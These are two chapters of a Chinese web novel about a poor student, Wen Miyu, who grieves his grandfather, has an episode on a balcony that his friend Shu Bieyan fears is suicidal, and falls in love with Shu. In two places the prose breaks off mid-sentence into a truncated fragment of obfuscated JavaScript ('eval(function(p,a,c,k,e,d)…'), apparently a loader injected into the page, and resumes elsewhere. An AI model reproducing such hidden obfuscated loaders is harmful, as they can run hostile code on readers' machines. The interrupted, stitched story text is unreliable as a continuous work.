“殳别宴,几又殳,离别的别,宴会的宴。” 殳别宴说完后便满目期待地看向他,本以为温弥玉是要和自己正式认识的意思。 然而没想到的是,温弥玉的下一句话却是,“殳别宴,你好吵。” 11. 蛋糕 温弥玉本以为自己的态度已经表明得很清楚了,他很忙,喜欢安静,没时间交朋友。 然而殳别宴就像是一块狗皮膏药,根本甩不掉。 在他之前温弥玉从前没想过,原来遇到一个人的概率竟然能这么高。 教室,操场,食堂,酒吧,甚至他做家教的那个小区。 殳别宴简直无处不在,当然这些在他口中都是“偶遇”。 温弥玉长这么大还是第一次遇到这种情况,有些不明白他为什么这么执着于和自己交朋友?毕竟他这样的人肯定不缺朋友。 但若是说他别有目的,温弥玉又想不出自己有利可图的点到底在哪里? 但温弥玉一向不会为这些所困扰,每天依旧忙着自己的事,直到这日回去的时候发现爷爷摔倒在地。 应该是摔到了哪里,爷爷这样沉默的人在自己扶他起来时竟然痛呼出声,温弥玉当即不敢再动,连忙叫了救护车。 到了医院后医生说是右臂骨折,并且他的阿尔茨海默病已经到了中期,身边最好不要离开人,时时都要有人护理。 温弥玉点了点头,走出了医生办公室,然后点开手机看了一眼存款,并不足以再请一个护工照顾爷爷。 可是若是他来照顾也不现实,他还有学业,还要工作,还要赚钱…… 各种事情乱麻一样纠缠在一起,这让温弥玉第一次产生了分身乏术之感。 怎么办?温弥玉坐在走廊的长椅上向后靠去,肩膀一点点塌下,缓缓闭上了眼睛。 明明已经熬了这么多年,温弥玉还以为自己都已经习惯了,然而不知为何还是觉得累到喘不过气,甚至有些不愿再睁开眼。 直到头顶传来一道声音,“你怎么在这儿?” 温弥玉正在神游天外,因此好一会儿才反应过来是在叫他,于是睁开了眼睛,然后就见殳别宴不知何时竟然站在他的面前。 他今日穿着一件黑色的短袖,很有质感,一丝褶皱都没,殳别宴原本就白,今日衣服的颜色衬他,又顶光站在走廊上的白炽灯下,更称得肤白如玉,莫名有些耀眼。 温弥玉刚才眼睛闭了太久,猛然睁开有些不习惯,于是眯着眼睛慢慢适应,并没有第一时间开口。 殳别宴见他一直没有说话,还以为他是生了气,于是连忙解释道:“我可没跟踪你啊。” 他说着指了指不远处,“我舅舅是神内的医生,我来找他的,你怎么在这儿?生病了吗?什么病?总不会是老年痴呆吧?” 殳别宴原本想缓和一下氛围,没想到真的一语中的。 温弥玉倒没有生气,只是望着他点了点头。 然后就见殳别宴整个人瞬间傻了起来。 殳别宴似乎就是有这样的能力,只要有他在,无论什么场景都能轻松起来,温弥玉的心情莫名好了一点。 身上终于恢复了一些力气,温弥玉从长椅上站了起来想要离开。 然而殳别宴却追了上来,“真是老年痴呆啊?是你家人生病了吗?挂我舅舅的号,他是这方面专家,或者需要什么帮忙的地方?你尽管提,我都会帮你。” 温弥玉原本是不想多说什么的,但这人一直跟在他后面叽叽喳喳,再跟下去就要到病房了,因此温弥玉还是停下了脚步,转头问道:“为什么?” “什么为什么?”殳别宴似乎有些不解。 温弥玉只好说得更明白些,“为什么要帮我?” “因为我们是朋友啊。”殳别宴立刻回道。 这下倒是温弥玉愣住了,他还以为他们只是认识,原来已经是朋友了吗? 殳别宴似乎看出了什么,挫败又惊讶,“啊?难道还不是吗?我们不是昨天还一起在食堂吃饭吗?” 温弥玉很想说那并不算一起,是他先找位置坐下,然后殳别宴就不知道从哪里冒了出来,在他身边坐下。 但…… 好像也无所谓了,他说是就是吧。 只是他从小到大都没有什么朋友,因此温弥玉也不知该坦诚到什么地步,只是含糊道:“是家人,没什么大事。” 殳别宴闻言这才松了口气,“那就好,哪个家人?爷爷奶奶吗?我陪你一起看看,不过我没拿礼物,你等我一下,我去买点礼品。” “不用。”温弥玉连忙说道,但还是没来得及,殳别宴已经风风火火地跑了下去。 不一会儿就见他就提着满满当当的两袋子礼物走了上来,和他一起去看了爷爷。 温弥玉也不知道事情怎么发展成了这样,殳别宴和爷爷聊得很开心,两人其乐融融,仿佛他们才是一家人。 爷爷很喜欢他,殳别宴走的时候爷爷还拉了拉他的手。 温弥玉原本还有些担心,爷爷干了一辈子农活,双手很粗糙,而殳别宴那双手明显是金尊玉贵养出来的。 因此温弥玉本来还担心他会嫌弃,然而没想到的是并没有,殳别宴甚至还反握住了爷爷的手,说:“爷爷我明天再来看您。” 爷爷现在记忆下降得厉害,估计一会儿就把他忘了,因此刚一出去温弥玉就告诉他明天不必来了。 然而殳别宴却不同意,“那可不行,我都答应爷爷了。” “爷爷明天估计已经不认识你了。”温弥玉提醒道。 然而他却毫不介意,“那就重新认识一遍。” 温弥玉本以为他只是随口一说,没想到第二天的时候他还真的又来了。 温弥玉还有兼职,本来还在想该怎么办?没想到殳别宴却主动承担起了照顾爷爷的责任,甚至还帮他请了一个护工。 大概是打过招呼的缘故,他的舅舅也对爷爷的病很上心,会经常过来照顾。 温弥玉并不习惯接受别人的好意,因为他还不起。 所以一时间竟有些不知道该怎么面对殳别宴,就算是朋友,也没必要做到这一步。 于是温弥玉把银行卡里所有的钱都取了出来想要给他,但他没要,只说让他留着照顾爷爷。 温弥玉知道他不缺这些钱,但还是坚持用这些钱买了一份礼物。 一个很贵的游戏机,据商场的工作人员说,男生收礼都喜欢这个。 殳别宴看到游戏机时并没有多大的惊喜,更多的反而是无奈,但最终还是收了下来。 “其实我想要的不是这个。” “那你想要什么?”温弥玉连忙问。 然后就见殳别宴单手托腮,笑吟吟地望着自己,“现在我们是朋友了吗?” 温弥玉有些不明白他为什么会突然问这个,思考了片刻后点了点头。 然后就见殳别宴道:“这就够了。” - 温弥玉多了一个朋友,也是从小到大唯一的一个朋友。 和他一直以来想象中的不同,这并不是一件很困难的事,相反,居然让他感觉到了轻松。 殳别宴是一个很热心的人,爷爷出院后帮他找了一个阿姨专门照顾爷爷。 那个阿姨很悉心,将爷爷照顾得很好,这也让温弥玉终于可以安心工作和学习。 除此之外他还会经常来看爷爷,陪爷爷说话,爷爷的记性已经非常不好,但却牢牢记住了他,连话都比从前多了很多,甚至还会主动问,“你那个同学很好。” 是的,他很好。 虽然温弥玉拒绝过很多次,但他还是会每天坚持给温弥玉带早饭,去酒吧陪他,送他回家,陪他一起去医院给爷爷做检查,安慰他,陪着他。 温弥玉一开始对于他的过分热情有些不适应,但如今已经全然习惯。 原来有朋友是一件如此幸福的事情。 但在幸福的同时也是无尽的惶恐,因为在不知不觉间他已经欠殳别宴太多,既还不起也还不清。 温弥玉是一个有债必偿的人,所以即使还不完他也会一点点还。 只是现在他能力实在有限,暂时还得少一点,比如发工资的时候给他买个礼物或者请他吃饭。 殳别宴知道他的性子,对于他这种偷偷摸摸式的“还债”照单全收,希望他的心里可以好受一点。 虽然这段日子依旧很难,但因为身边多了一个人,一切似乎都不一样了起来。 因此哪怕之后被伤到痛彻心扉,但温弥玉偶尔还是会怀念。 毕竟这段时间大概是他这一生中少有的,难得轻松的时候。 温弥玉本以为日子会一直这么过下去,可上天怎么可能就这么放过他,明明爷爷看起来已经好了那么多,可是不知为何却又突然恶化。 先是渐渐丧失日常生活功能,再到各种并发症一齐爆发,很快便已经离不开医院。 最后的一段时间简直像是过山车,温弥玉还没反应过来爷爷便去世了。 似乎已经习惯了,毕竟他不是第一次经历亲人的离世。 所以温弥玉很快就接受了这一切,然后平静地处理起了后事。 他们在这里没有一个亲友,所以也没什么好办的,所以温弥玉很快就处理好了一切。 只剩下殳别宴给爷爷雇的阿姨。 最近放假,殳别宴去国外旅游了,温弥玉不想因为这件事打扰他,本想把工资结清,但阿姨却说:“不用了,我的工资都是殳少爷每个月按时打的,这个月的已经打过了。” “这样啊。” “节哀。” “嗯,多谢,对了,麻烦这件事先别告诉殳别宴。” 阿姨闻言犹豫了一下,还是点头答应了下来。 阿姨说完就收拾东西离开,屋子很快安静了下来,只剩下他一个人了。 以他的积蓄在这里租不到什么好房子,所以这里其实并不大,不过是一个二居室,还是老破小,卧室很小,所以原本他和爷爷两个人住都觉得有些挤。 可是现在突然就空了。 温弥玉不知为何,整个人也跟着空了起来,空荡荡地坐在沙发上,灵魂似乎都飘了出来,周围很静,一切都很轻。 房子很轻,沙发很轻,他也很轻。 像是一片从树上被吹落的枯叶,轻飘飘的,怎么也落不到地面。 他就这么空荡荡地飘了许久,直到窗外的天色黑了又明。 眼睛因为长久没有休息而变得干涩刺痛,温弥玉轻轻闭了闭眼,眼睛因为他的动作而终于变得有些潮湿。 这种感觉像是要流泪,然而不知为何温弥玉却哭不出来。 应该哭一场的,毕竟从此以后天地间就只剩下了他一个。 是的,只剩下他一个人了。 想到这儿那种空荡又虚无的感觉再次袭来,如果只剩下了他一个,那么他这么努力地走到今天又是为了什么? 改变命运吗?可是就算改变了又有何意义呢?他为之努力的人已经全都没了。 多年来压在他身上的担子一下子就没了,明明应该感觉到轻松的,然而却并没有。 温弥玉只觉得自己仿佛突然失去了重量,轻飘飘的,像是落叶一般顺着风向窗外飘去,可是又不知道要飘到哪里。 直到门口处突然传来了动静,紧接着一道声音传来,“温弥玉!” 温弥玉因这突如其来的声音猛地睁开眼睛,这才发现自己不知何时竟然站到了阳台上,阳台的窗户打开,自己不知何时已经探出了头去。 魂魄似乎还在游移,温弥玉只觉茫茫然还没回过神来,只是凭着本能向后看去。 然后就见殳别宴冲了过来,一把抱住了自己,抱得很紧很紧,像是要把他勒进身体。 温弥玉因他的动作感觉到了一丝痛意,这才终于回过神来。 他没有想自杀。 他没有那么脆弱,从小到大经历过的事太多了,他早已被生活千锤百炼了无数次,怎么可能因为爷爷的离世就不活了。 可是无论他怎么解释殳别宴都不信,从那天起他就把自己当成了小孩子,无微不至地照顾起了他。 他吃不下饭,殳别宴就和家里的阿姨学了炖汤,他晚上睡不着,殳别宴就给他讲故事哄着他睡觉,晚上连家也不回,连上厕所都要跟着他。 在又一次他半夜起夜,殳别宴非要站在门口看着他时,温弥玉终于有些受不了,不知第多少次解释,“我真没想寻死。” 殳别宴明显困极,睡眼朦胧地倚在门口,但还是强撑着精神不肯先回去,懒洋洋地打了个哈欠,“我知道,是我害怕,你不在我睡不着。” 温弥玉听到这儿不知为何突然很想笑,也真的笑了出声。 “你笑什么?”殳别宴问他。 “没什么。”温弥玉自己也莫名其妙,摇了摇头后后去洗了手,然后牵着他一起回去睡觉。 之后的日子一如往常,那天似乎真的只是一个意外,温弥玉表现得一直很好。 早睡早起,一日三餐,按时上课,继续兼职。 殳别宴突然觉得自己不应该说他是一块石头,而是一截空荡荡的竹子,无数的事从他身上流经,却留不下任何痕迹。 然而不知为何,殳别宴却对他更加担心,担心到甚至离开他一会儿都不放心。 殳别宴也不知道自己为何会这样,明明一开始接近他只是觉得他长得合自己心意,便想着追着玩玩。 可越是靠近,之前的心思就越淡,如今只想好好陪着他,怎么会有人这么招人心疼呢? 殳别宴其实一直都想让温弥玉痛痛快快哭一场,毕竟人又不是机器,情绪总要发泄出来,总憋着迟早憋出病。 但温弥玉简直比机器还机器,别说发泄,殳别宴甚至在他身上看不到什么情绪。 殳别宴还是第一次遇到这样的人,实在无可奈何,又不能逼着他哭,于是只能想别的方法帮他排解情绪。 于是殳别宴带着他去喝酒,去蹦极,去游乐场,去看赛车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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家里的钥匙被殳别宴以照顾他为由要去了一把,所以家里有人温弥玉一点也惊讶,自顾自地放下东西准备去洗漱,然而经过餐厅却闻到了一阵香气扑鼻。 他转过头,然后就见餐桌上摆了满满一桌子的饭菜,隆重得像是什么节日。 温弥玉不明白殳别宴今日又是在搞什么?毕竟家里就他们两个人,哪里吃得下这么多东西。 于是连忙向厨房走去,然而刚走到门口就见厨房门被人推开,紧接着殳别宴端着一砂锅排骨汤走了出来。 似乎是没想到他会突然出现在门口,殳别宴被吓了一跳,手中的汤不小心洒出来了一点,烫得他连忙加快脚步走到餐桌前把汤放下,然后跑到卫生间冲起了凉水。 温弥玉见状连忙走过去打开冰箱,本想取些冰块给他冷敷一下,然而没想到一打开冰箱却看到了一个很大的蛋糕放在冰箱里,单独占了一层。 温弥玉看着蛋糕不由一愣,下一秒就见殳别宴从卫生间跑了出来。 “呀,被你发现了。” 温弥玉转过身,然后就见他满脸懊恼,“本想等会儿再拿出来的,不过既然被你发现了,那就现在吃吧。” 殳别宴说着用肩膀撞了撞他,示意他把蛋糕端出来。 温弥玉这才回过神一般端出了蛋糕,然后看见了上面写着的字。 “祝温弥玉小朋友生日快乐!” 下面还画了两个表情,一个是笑脸,一个面无表情。 怕他看不出来,殳别宴特意指着那两个表情道:“这个是你,这个是我。” 说着抬手捏了捏他的脸,然后指着那个面无表情的说道:“怎么样?简直一模一样是不是?” 温弥玉没有说话,只是静静地盯着手中的蛋糕看了许久,这才终于开了口,“今天是我生日啊。” “是啊,你不会连自己生日都忘了吧?”殳别宴有些不可置信。 温弥玉知道他一定很难理解,因为他真的忘了。 他们家不怎么过生日。 小时候倒是过过几次,奶奶会给他煮一碗长寿面,里面卧两个荷包蛋。 但后来家里的事实在太多,渐渐的,生日这种东西也就顾不得了。 温弥玉一开始还会记得,因为有一年生日他和爷爷去镇上卖废品,卖完后经过一家蛋糕店。 蛋糕店不大,小小的一间屋子,临街的那扇窗户是透明的,里面摆着一排精致漂亮的生日蛋糕。 温弥玉那时还不知道那些只是模型,闻着蛋糕店里传来的香气还以为是真的,其实他当时并不饿,早上出门的时候他吃了整整一个馒头,但他还是想吃一个蛋糕,因为闻起来真的很香很甜。 正好那天还是他的生日,所以温弥玉想,他应该可以提一个要求吧,他只要最小的那个就好。 可是抬头看着爷爷佝偻的腰,却怎么也说不出口。 不应该要的,那个蛋糕明显看起来很贵,又不是非吃不可,明明没有必要。 可他又真的很想吃,只吃这一次就好。 那天的温弥玉脑子里像是有两个小人一样天人交战了一路,最后还是没有说出口。 他就这么忍了一路,后来又忍了许多年,忍到他都忘了想吃了,因此一直到现在他都没有吃过。 当然不是买不起,这些年里他赚的钱买一个生日蛋糕还是绰绰有余。 只是觉得不是必需品,没有必要。 他还以为自己早已过了想吃生日蛋糕的年纪,可是没想到今日再闻到这个味道时才发现,他其实还是很想吃。 于是温弥玉许完愿后先吃了一块蛋糕,果然很香很甜,是和他曾经想象中一模一样的味道。 “别吃太多,一会儿吃不下饭了。”殳别宴一边给他夹菜,一边臭屁道:“今天的菜都是我做的,快尝尝味道。” 殳别宴说着满眼期待地看了过去,这才发现温弥玉不知怎么,整个人丢了魂一般呆呆地坐着,只是一口一口机械地给嘴里塞着蛋糕。 殳别宴很快就察觉到了他的不对,有些奇怪地抬手在他面前晃了晃,“你怎么了?温弥玉?” 他一连叫了好几声,温弥玉才像是回了神,循声抬头看向了他。 殳别宴刚想问你发什么呆呢? 然而下一秒,却就这么毫无预兆地,从温弥玉的眼睛里滚出了一串眼泪来。 温弥玉似乎也没反应过来,愣了一会儿才抬手摸了摸脸颊,随即自己也有些诧异一般,连忙放下手中的蛋糕,然后抽出一张纸擦了起来。 然而不知为何他仿佛一下对身体失去了控制,怎么也擦不干净。 “怎么了?”殳别宴见状连忙坐了过去,替他擦起眼泪来。 温弥玉闻言摇了摇头,他也不知道,他甚至不知道自己为什么会哭? 难道是因为想起了从前的事?可是明明都已经过去了那么多年。 想到这儿温弥玉便觉得有些懊恼,殳别宴好心给自己过生日,自己却哭个不停,何其扫兴,于是连忙想要给他道歉,“对不起,我也不知道是怎么回事,我……” 然而话还没说完,就落进了一个怀抱。 殳别宴并没有怪他,而是轻轻拍了拍他的背安慰道:“没事儿,哭出来就好。” 12. 关系 那几乎是温弥玉记事以来哭得最狠的一次。 他也不明白自己为什么会哭,明明最难熬的时候他都没有哭过,而现在只是因为一块生日蛋糕就哭得这么厉害。 他很怕殳别宴会追问,因为他也不知道该怎么解释。 好在并没有,殳别宴只是安静地抱着他,告诉他哭出来就好。 温弥玉并没有哭很久,因为哭也是一项体力活,哭完后他本想缓一会儿就坐起来吃饭,毕竟这是殳别宴特意做的。 然而没想到最后不知怎么却睡了过去。 这一觉睡得久违得安心,没有做梦,没有早醒,一觉睡到了天亮。 再次睁开眼时窗帘半拉着,可以看见外面的阳光。 温弥玉坐起身来,看到了不远处的殳别宴正靠坐在椅子上睡得正香,椅子明显不舒服,但他竟也这么睡着了。 温弥玉见状连忙下了床想让他去床上睡。 然而等他走近后不知为何却又停了下来,只是低头静静地向他看去。 殳别宴长得很好,身姿挺拔,骨架修长,眉目英气而俊朗,眉间平坦一片,一看就是没吃过苦的长相。 他这样的人,总觉得不应该和自己扯在一起。 温弥玉也不知道怎么为何会这么想,只是很为他可惜。 “我就这么好看吗?” 一道声音突然传来,温弥玉骤然回过了神,这才发现殳别宴不知何时已经睁开了眼,正抬眸望着他。 温弥玉没有防备,就这么撞上了他的眼睛。 然后就见殳别宴满目戏谑,笑意盈盈。 其实很好解释,只要说自己只是想要叫他就行,然而不知为何,温弥玉却下意识觉得解释不清,因此只是落荒而逃一般转过了头,逃避一般移开了眼睛。 似乎从那天起,一切便开始变得不同。 在那之前,温弥玉从来都没有考虑过自己的取向问题,毕竟他的前半生光是活着都已经拼尽全力。 直到他发现自己看着殳别宴时的目光开始转变,有一次他看着殳别宴的唇瓣,竟然想吻下去。 这个突如其来的念头像是一道惊雷,将他整个人炸得支离破碎,但却还是强撑着面上的完整,怕被殳别宴看出他的异样。 但很快,温弥玉就意识到了另一个问题,那殳别宴对他呢? 他对自己是否也有意思? 应该是有的吧,不然为何要这样帮着自己,但很快却又觉得不过是自己自作多情。 毕竟殳别宴从没越过界,所以温弥玉也并不确定。 他说不定只是把自己当成朋友而已。 温弥玉从小到大只有过他一个朋友,很怕自己的想法会破坏掉这份友谊,所以一直没有戳破过什么。 直到温弥玉租的房子到期后,他搬回了宿舍,而殳别宴竟和他一起搬了回去。 温弥玉有些惊讶,毕竟他去过殳别宴住的地方,市中心的大平层,还是他一个人住。 因此温弥玉很不理解他怎么会愿意和他们一起住宿舍。 这让他心中那个猜测再次不受控制地冒出了头,但又怕自己太过自作多情。 毕竟他们相差这么大,又都是男生。 “怎么?”殳别宴见他突然沉默,伸手揽住他的肩膀,把他拉到自己身前,笑着问道:“不愿意啊?” “不是。”温弥玉一边回答一边转过头,因为离得太近,不小心蹭到了他的脸侧。 两人因为这个动作俱是一愣。 温弥玉还没反应过来,一股酥麻猝不及防地从脚下直蹿头顶,不知为何竟觉身体突然一软,差点就这么向后倒去。 好在殳别宴及时扶住了他,“你没事吧?” “没事。”回过神后的温弥玉连忙摇了摇头,和他拉开了一些距离。 刚才是怎么了?温弥玉有些奇怪,难道是因为碰到了? 他是不太喜欢和别人接触,但从前碰到只是会不适,还是第一次出现这样的反应。 因为从未出现过这样的情况,所以温弥玉实在想不明白。 不过他也没太多时间去想这些事,他还要去兼职。 然而兼职时却又出现了意外,学生做题时他不知怎么盯着学生的脸发起了呆,最后还是被学生提醒才回过神来。 “老师,你怎么了?”学生有些不解地问道。 温弥玉这才意识到自己竟然望着学生的脸出了神,于是连忙不好意思地摇了摇头,说了声,“抱歉。” 因为相处的时间长,所以学生并没有把他当成变态,脸上更多的明显是担心,“老师,你真的没事儿吗?你今天好奇怪。” “没有。”温弥玉连忙否认,怕他继续提问,转移话题似地给他讲起题来。 其实温弥玉也明白自己今日确实有些奇怪,就比如刚才看着学生眼睛的时候不知为何突然想起了殳别宴。 他的睫毛似乎也是这么长,很好看。 - 殳别宴很不习惯住宿生活,原因实在太多,床板太硬,地方太小,没有浴缸,人多太吵。 刚住宿的头一个月他几乎没睡好过,每天早上起来人都是萎靡不振的。 温弥玉见状不止一次提议他搬回去,但殳别宴都不同意,只说除非温弥玉愿意搬进他家里。 温弥玉自然不愿意,平白无故的,自己有什么理由住进别人家里。 殳别宴似乎猜到了,所以也没勉强,只是求他每周末陪他回去住两天,他平时在宿舍实在睡不好。 温弥玉一开始不太明白他回家睡觉和自己陪他有什么关系。 不过后来就懂了,殳别宴说他没有安全感,所以一定要抱着他睡觉。 温弥玉闻言问他认识自己前是怎么睡的? 殳别宴说:“抱枕头。” “那你现在也可以继续抱枕头。” 殳别宴一听把他抱得更紧,头埋在他的颈侧,大狗一样又蹭又嗅,“枕头没有你舒服。” 温从简觉得他有些不可理喻,但又想到他这些日子实在帮了自己太多,而自己都没回报过他什么,所以抱抱也没什么吧,又不会掉块肉。 之后的日子就是这样,平时两人住宿舍,周末温弥玉则陪他一起回家住。 虽然是殳别宴主动要求的,但温弥玉也不好意思白住,因此主动承担起了做饭和家务。 殳别宴很喜欢他做的饭,每次都会吃得干干净净。 温弥玉做起来也更加有动力,从前他虽然也会做饭,但只是为了不饿死,所以做出来的东西只能说能吃,但绝对谈不上什么佳肴。 如今为了殳别宴,他也开始钻研起了厨艺,所以每周五两人都多了一件事,去超市买周末的食材和零食。 温弥玉从前是不吃零食的,但不知是不是因为上次生日蛋糕的事让殳别宴误会了,以为他很可怜,所以每次都会不顾他的阻拦,买上一堆零食。 温弥玉一开始还会觉得好贵,不划算,但后来被投喂多了便也开始渐渐习惯。 确实很好吃。 时间就这么不急不缓地流过,很快就到了冬天。 平安夜那天下了雪。 温弥玉从前是从来都不过这些节日的,但如今不同,他有了一个朋友,于是难得不计较划不划算,买了一个包装精美的平安果。 当然,除了这个外他还准备了一份礼物,一个他亲自织的枕头。 殳别宴说过他喜欢抱着枕头睡,那么送这个应该没错。 果不其然,殳别宴很喜欢,好奇地问道:“这么精致,在哪儿买的?” “我织的。”不知为何,温弥玉突然有些不好意思。 他也不知道这不好意思从何而来,便按照过往的经验,自作主张地把它归之于不够昂贵,正想和他保证,虽然他现在还送不起太贵重的,但等他将来赚到钱,一定送殳别宴一个更贵的。 然而还没来得及开口殳别宴却抱住了他,“温弥玉,你怎么这么好啊。” 殳别宴的声音擦过他的耳尖,像是清风拂过柳叶,又像是蚂蚁密密麻麻爬过心尖。 这很不对劲。 温弥玉因这奇怪的感觉下意识想要逃开,然而身体却突然开始不听使唤。 有那么一瞬间,温弥玉竟希望时间就这么停在这一刻,然后一直停到永远。 - 他和殳别宴的关系越来越好,简直成了连体婴,每天一起学习,一起吃饭,自己兼职他都要跟着,当然殳别宴不方便进去,所以温弥玉给学生上课的时候他都会在楼下的咖啡厅等着,然后点一堆吃的等他下去。 殳别宴一直都是大少爷作风,花钱从来没数,每次点那些东西花的钱都和他的课时费差不多。 虽然花的不是温弥玉的钱,但温弥玉还是忍不住替他心疼。 于是提醒过他许多次让他少点一些,但殳别宴每次都是笑呵呵地应下,然后下次还敢。 温弥玉又是个舍不得浪费的性子,所以每次都会陪他一起吃完。 托他的福,温弥玉一段时间下来脸都圆润了一些。 殳别宴对此却很是满意,常常捏他的脸。 周末的时候温弥玉便陪着他一起回家住,这里俨然已经成了温弥玉的第二个家,他的东西越来越多,当然大部分东西都是殳别宴给他添置的。 从前温弥玉的周末除了兼职就是兼职,但如今在殳别宴的带动下,也开始多了一些娱乐。 比如一起吃饭,游玩,看电影。 当然温弥玉最喜欢的还是做饭。 真奇怪,从前他对于饭食从无要求,但如今殳别宴在身边,他却突然重视起了一餐一饭。 其实都是些简单的菜色,但等饭菜摆上餐桌,两人相对而坐,就着暖黄色的灯光吃起饭时,这一日便突然有了厚度,像是没有白过。 寒假的时候温弥玉并没有回家,毕竟他如今孤身一人,因此自然而然地留在了这儿,住在了殳别宴家里。 寒假和平时没什么区别,只是空闲的时间更多。 两人也更腻在一起。 直到快过年的时候,殳别宴回家过年。 殳别宴原本想要带着他一起回去的,但被温弥玉拒绝。 春节是一家人团聚的日子,他去算怎么回事? 于是温弥玉一个人留在家里过年。 从前的日子太苦,因此连过年似乎都是沉重的,一家人聚在一起也没什么喜色,只是象征性地吃一顿年夜饭,然后给他发压岁钱。 如今家里人都不在了,温弥玉对于节日更加没什么实感,因此竟有些不知道干什么。 于是便把电视打开,打扫起了卫生来。 殳别宴的家实在太大,他几乎打扫了一天,直到晚上才终于感觉到了一些饿。 冰箱里有提前包好的饺子,温弥玉煮了几个,吃完后原本想要去睡觉,但时间又实在太早,于是干脆看起了春晚。 电视机演了什么他并没有仔细看,只是有了声音后屋子终于不再显得那么空荡,热闹了起来。 温弥玉双眼望着电视,然而精神却怎么也集中不起来。 脑海中总会不受控制地想起从前,吃完年夜饭后,他们一家人会围坐在一起看春晚。 他们家的电视很旧,节目也没有什么好看的,但爷爷奶奶总是会看得很专注,毕竟这是他们为数不多可以放松的时刻。 可是如今却只剩下了他一个。 口中的饺子突然有些食不下咽,于是温弥玉放下了筷子,转头向窗外看去。 殳别宴家的视野极好,从这里可以看见高楼林立,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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头顶暖黄色的灯光温柔地洒下,耳边依旧响着电视的声音,只是声音像是离得很远,什么也听不清。 他只能听到两人急促的呼吸,感受着殳别宴在他口中攻城略地。 两人都是初吻,既不会换气也没什么技巧,只是凭本能纠缠在一起,按理说感觉不会太好,然而温弥玉却觉得意外得舒服,只想这么一直吻下去。 那天温弥玉也不记得到底吻了多久,只是第二天醒来后发现嘴巴肿了,殳别宴也没比他好到哪里去,甚至还有一块破了皮。 两人望着镜子里对方的样子都忍不住笑了一下,随即才后知后觉地感觉到了不好意思。 温弥玉原本想问我们现在算什么关系? 可是下一秒就被殳别宴掰过下巴,再次吻在了一起。 虽然没有一个明确的开始,但那天之后也算是确立了关系,他们就这么谈起了恋爱。 这是他人生中最快乐的一段日子。 他们一起做饭,一起跑步,一起逛超市,一起看电影,一起睡觉,一起拥吻。 像所有热恋期的情侣一样在家里的每一个角落交付自己。 温弥玉从来都没有这么疯狂过,也从来有没有这么热烈过。 二十多年来他像是终于找到了情绪开关的按钮,将所有的感情和没有说出来的话,全部给予。 温弥玉这才发现原来他不是不喜欢说话,只是从前的很多年里,他都不知道该把话说给谁听。 他们就这么放纵了一个寒假,温弥玉第一次觉得时间过得这么快,难得对开学竟产生了排斥。 果不其然,开学之后一切都变得不方便起来,牵手要在天黑以后,接吻还要躲在洗手间。 已经开过荤的殳别宴哪里能吃得了这样的苦,因此撒娇求他和自己一起搬回去。 温弥玉没拗过他,最终还是同意。 回去之后的两人像是一对新婚的小夫妻,每天一起上课,一起吃饭,温弥玉去兼职,殳别宴就在外面等自己,然后两人一起回去。 没事儿的时候就窝在一起看电影,情到浓时便一起做喜欢的事。 在一起的那些日子里,房间里的每一个角落几乎都留下过他们的痕迹。 温弥玉知道这份爱应该是有期限的,毕竟他们的家庭背景相差太大,他们两个又都是男的,所以从没想过他们可以永远在一起。 因此越是幸福越是提醒自己不要陷得太深,但却还是控制不住地一天天沦陷了下去。 越是沦陷越是痛苦,可即使如此也控制不住。 理智根本压抑不住情感,温弥玉只能由着自己清醒地沉沦下去。 他总以为应该还有很长的时间,但大学还没毕业时温弥玉便感觉到了他的转变。 殳别宴依旧很喜欢他,但温弥玉能感觉到他的喜欢正在变淡。 他似乎多了一些心事,看他的眼神中开始透着一些为难。 温弥玉知道这意味着什么,他也不喜欢死缠烂打,自甘下贱。 但等真的要放手时他才发现,自己竟然会如此舍不得。 他身边的人实在太少,又一个一个早早离去,如今剩下的,不过一个殳别宴。 可他关于情爱所有的经验都只来自于殳别宴,因此连挽回都只能想到身体上的。 于是他主动做了很多从前不可能做的事。 本以为殳别宴会很喜欢,然而却都被他阻止。 他的眼中依旧有心疼,却也不止有心疼,似乎还有别的情绪,可温弥玉看不出。 “你不必做这些。”殳别宴抱着他哄。 温弥玉靠在他怀里,静静地听着他的心跳声。 他其实想问你不喜欢吗?更想问你喜欢什么?我都可以做。 所以可不可以不要离开我?但最终还是什么都没说出口。 他只能像从前那样,安静地等着,等着头顶的铡刀不知何时坠落。 然后在心里祈求来得慢一点。 再慢一点。